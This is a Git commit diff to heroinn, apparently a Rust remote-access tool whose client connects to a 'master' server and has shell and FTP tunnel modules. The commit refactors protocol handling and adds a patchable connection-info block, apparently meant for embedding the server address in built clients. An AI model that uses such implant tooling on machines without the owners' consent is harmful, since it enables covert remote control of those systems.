abstract protocol instance.

badboycxcc · Aug 21, 2022 · 994e2cd · 994e2cd
1 parent 4ade724
commit 994e2cd
Show file tree

Hide file tree

Showing 5 changed files with 104 additions and 9 deletions.
diff --git a/heroinn_client/src/main.rs b/heroinn_client/src/main.rs
@@ -1,7 +1,7 @@
 use std::{sync::{mpsc::channel, Arc, atomic::AtomicU64, Mutex}, time::Duration, str::FromStr};
 use std::sync::atomic::Ordering::Relaxed;
 use uuid::Uuid;
-use heroinn_util::{protocol::{tcp::{TcpConnection}, Client}, packet::{Message, HostInfo, Heartbeat}, HeroinnClientMsgID, cur_timestamp_secs, HEART_BEAT_TIME, HeroinnServerCommandID, session::{SessionBase, Session, SessionManager}, HeroinnProtocol, close_all_session_in_lock};
+use heroinn_util::{protocol::{ClientWrapper}, packet::{Message, HostInfo, Heartbeat}, HeroinnClientMsgID, cur_timestamp_secs, HEART_BEAT_TIME, HeroinnServerCommandID, session::{SessionBase, Session, SessionManager}, HeroinnProtocol, close_all_session_in_lock, ConnectionInfo};
 use systemstat::{Platform , System, Ipv4Addr};
 use lazy_static::*;
 
@@ -12,10 +12,18 @@ use module::Shell::ShellClient;
 use crate::module::ftp::FtpClient;
 
 lazy_static!{
-    static ref G_MASTER_ADDR : &'static str = "127.0.0.1:8000";
-    static ref G_MASTER_PROTOCOL : HeroinnProtocol = HeroinnProtocol::TCP;
+    static ref G_DEFAULT_MASTER_ADDR : &'static str = "127.0.0.1:8000";
+    static ref G_DEFAULT_MASTER_PROTOCOL : HeroinnProtocol = HeroinnProtocol::TCP;
     static ref G_OUT_BYTES : Arc<AtomicU64> = Arc::new(AtomicU64::new(0));
     static ref G_IN_BYTES : Arc<AtomicU64> = Arc::new(AtomicU64::new(0));
+    static ref G_CONNECTION_INFO : ConnectionInfo = ConnectionInfo{
+        flag : 0x1234567812345678,
+        protocol : HeroinnProtocol::TCP.to_u8(),
+        address_size : 0,
+        address : [0u8;255],
+        remark_size : 0,
+        remark : [0u8;255],
+    };
 }
 
 fn main() {
@@ -52,7 +60,7 @@ fn main() {
 
         let (session_sender , session_receiver) = channel::<SessionBase>();
 
-        let mut client = match TcpConnection::connect(&G_MASTER_ADDR){
+        let mut client : ClientWrapper = match ClientWrapper::connect(&G_DEFAULT_MASTER_PROTOCOL , &G_DEFAULT_MASTER_ADDR){
             Ok(p) => p,
             Err(e) => {
                 log::info!("connect faild : {}" , e);

diff --git a/heroinn_client/src/module/ftp.rs b/heroinn_client/src/module/ftp.rs
@@ -1,7 +1,7 @@
 use std::{sync::{Arc, atomic::AtomicBool, mpsc::Sender}, io::{Seek, SeekFrom, Read, Write}};
 use heroinn_util::{session::{Session, SessionBase, SessionPacket}, rpc::{RpcServer, RpcMessage}, ftp::{method::*, FTPPacket, FTPId, FTPGetHeader, FTPPutHeader}, packet::TunnelRequest, protocol::create_tunnel};
 
-use crate::{G_MASTER_ADDR, G_MASTER_PROTOCOL};
+use crate::{G_DEFAULT_MASTER_ADDR, G_DEFAULT_MASTER_PROTOCOL};
 
 pub struct FtpClient{
     id : String,
@@ -69,7 +69,7 @@ impl Session for FtpClient{
                 let closed = self.closed.clone();
 
                 std::thread::spawn(move || {
-                    let mut client = match create_tunnel(&G_MASTER_ADDR , &G_MASTER_PROTOCOL , packet.port){
+                    let mut client = match create_tunnel(&G_DEFAULT_MASTER_ADDR , &G_DEFAULT_MASTER_PROTOCOL , packet.port){
                         Ok(p) => p,
                         Err(e) => {
                             log::error!("create tunnel faild : {}" , e);
@@ -144,7 +144,7 @@ impl Session for FtpClient{
                 let closed = self.closed.clone();
 
                 std::thread::spawn(move || {
-                    let mut client = match create_tunnel(&G_MASTER_ADDR , &G_MASTER_PROTOCOL , packet.port){
+                    let mut client = match create_tunnel(&G_DEFAULT_MASTER_ADDR , &G_DEFAULT_MASTER_PROTOCOL , packet.port){
                         Ok(p) => p,
                         Err(e) => {
                             log::error!("create tunnel faild : {}" , e);

diff --git a/heroinn_core/src/lib.rs b/heroinn_core/src/lib.rs
@@ -36,18 +36,21 @@ impl HeroinnServer{
                     Err(e) => Err(e),
                 }
             },
+            HeroinnProtocol::Unknow => todo!(),
         }
     }
 
     pub fn sendto(&mut self, peer_addr : &SocketAddr, buf : & [u8]) -> Result<()>{
         match self.protocol{
             HeroinnProtocol::TCP => self.tcp_server.as_mut().unwrap().sendto(peer_addr, buf),
+            HeroinnProtocol::Unknow => todo!(),
         }
     }
 
     pub fn local_addr(&self) -> Result<SocketAddr>{
         match self.protocol{
             HeroinnProtocol::TCP => self.tcp_server.as_ref().unwrap().local_addr(),
+            HeroinnProtocol::Unknow => todo!(),
         }
     }
 
@@ -58,12 +61,14 @@ impl HeroinnServer{
     pub fn contains_addr(&mut self , peer_addr : &SocketAddr) -> bool{
         match self.protocol{
             HeroinnProtocol::TCP => self.tcp_server.as_mut().unwrap().contains_addr(peer_addr),
+            HeroinnProtocol::Unknow => todo!(),
         }
     }
 
     pub fn close(&mut self){
         match self.protocol{
             HeroinnProtocol::TCP => self.tcp_server.as_mut().unwrap().close(),
+            HeroinnProtocol::Unknow => todo!(),
         }
     }
 }
diff --git a/heroinn_util/src/lib.rs b/heroinn_util/src/lib.rs
@@ -7,6 +7,16 @@ pub mod msgbox;
 
 pub const HEART_BEAT_TIME : u64 = 5;
 
+#[derive(Debug,PartialEq)]
+pub struct ConnectionInfo{
+    pub flag : u64,
+    pub protocol : u8,
+    pub address_size : u16,
+    pub address : [u8;255],
+    pub remark_size : u16,
+    pub remark : [u8;255],
+}
+
 #[derive(Debug,PartialEq)]
 pub enum HeroinnClientMsgID{
     HostInfo,
@@ -66,7 +76,24 @@ impl HeroinnServerCommandID{
 
 #[derive(Debug,Clone,PartialEq)]
 pub enum HeroinnProtocol{
-    TCP
+    TCP,
+    Unknow
+}
+
+impl HeroinnProtocol{
+    pub fn to_u8(&self) -> u8{
+        match self{
+            HeroinnProtocol::TCP => 0x00,
+            HeroinnProtocol::Unknow => 0xff,
+        }
+    }
+
+    pub fn from(v : u8) -> Self{
+        match v{
+            0x00 => HeroinnProtocol::TCP,
+            _ => HeroinnProtocol::Unknow,
+        }
+    }
 }
 
 pub fn cur_timestamp_millis() -> u128{

diff --git a/heroinn_util/src/protocol/mod.rs b/heroinn_util/src/protocol/mod.rs
@@ -1,6 +1,6 @@
 
 pub mod tcp;
-use std::{io::*, net::SocketAddr};
+use std::{io::*, net::SocketAddr, ops::{Deref, DerefMut}};
 
 use crate::{HeroinnProtocol, packet::Message};
 
@@ -33,10 +33,65 @@ pub trait Server {
     fn close(&mut self);
 }
 
+pub struct ClientWrapper{
+    typ : HeroinnProtocol,
+    tcp_client : Option<TcpConnection>,
+}
+
+impl Deref for ClientWrapper{
+    type Target = dyn Client;
+
+    fn deref(&self) -> &Self::Target {
+        match self.typ{
+            HeroinnProtocol::TCP => {
+                self.tcp_client.as_ref().unwrap()
+            },
+            HeroinnProtocol::Unknow => panic!("unknow protocol"),
+        }
+    }
+}
+
+impl DerefMut for ClientWrapper{
+    fn deref_mut(&mut self) -> &mut Self::Target {
+        match self.typ{
+            HeroinnProtocol::TCP => {
+                self.tcp_client.as_mut().unwrap()
+            },
+            HeroinnProtocol::Unknow => panic!("unknow protocol"),
+        }
+    }
+}
+
+impl Clone for ClientWrapper{
+    fn clone(&self) -> Self {
+        Self { typ: self.typ.clone(), tcp_client: self.tcp_client.clone() }
+    }
+}
+
+impl ClientWrapper{
+    pub fn connect(typ : &HeroinnProtocol , address : &str) -> Result<Self>{
+        match typ{
+            HeroinnProtocol::TCP => {
+                let client = TcpConnection::connect(address)?;
+                Ok(Self{
+                    typ : typ.clone(),
+                    tcp_client : Some(client)
+                })
+            },
+            HeroinnProtocol::Unknow => {
+                return Err(std::io::Error::new(std::io::ErrorKind::InvalidData ,"invaild protocol type"));
+            },
+        }
+    }
+}
+
 pub fn create_tunnel(addr : &str , protocol : &HeroinnProtocol , server_local_port : u16) -> Result<Box<dyn Client>>{
     Ok(match protocol{
         HeroinnProtocol::TCP => {
             Box::new(TcpConnection::tunnel(addr, server_local_port)?)
         },
+        HeroinnProtocol::Unknow => {
+            return Err(std::io::Error::new(std::io::ErrorKind::NotFound, "not found"));
+        },
     })
 }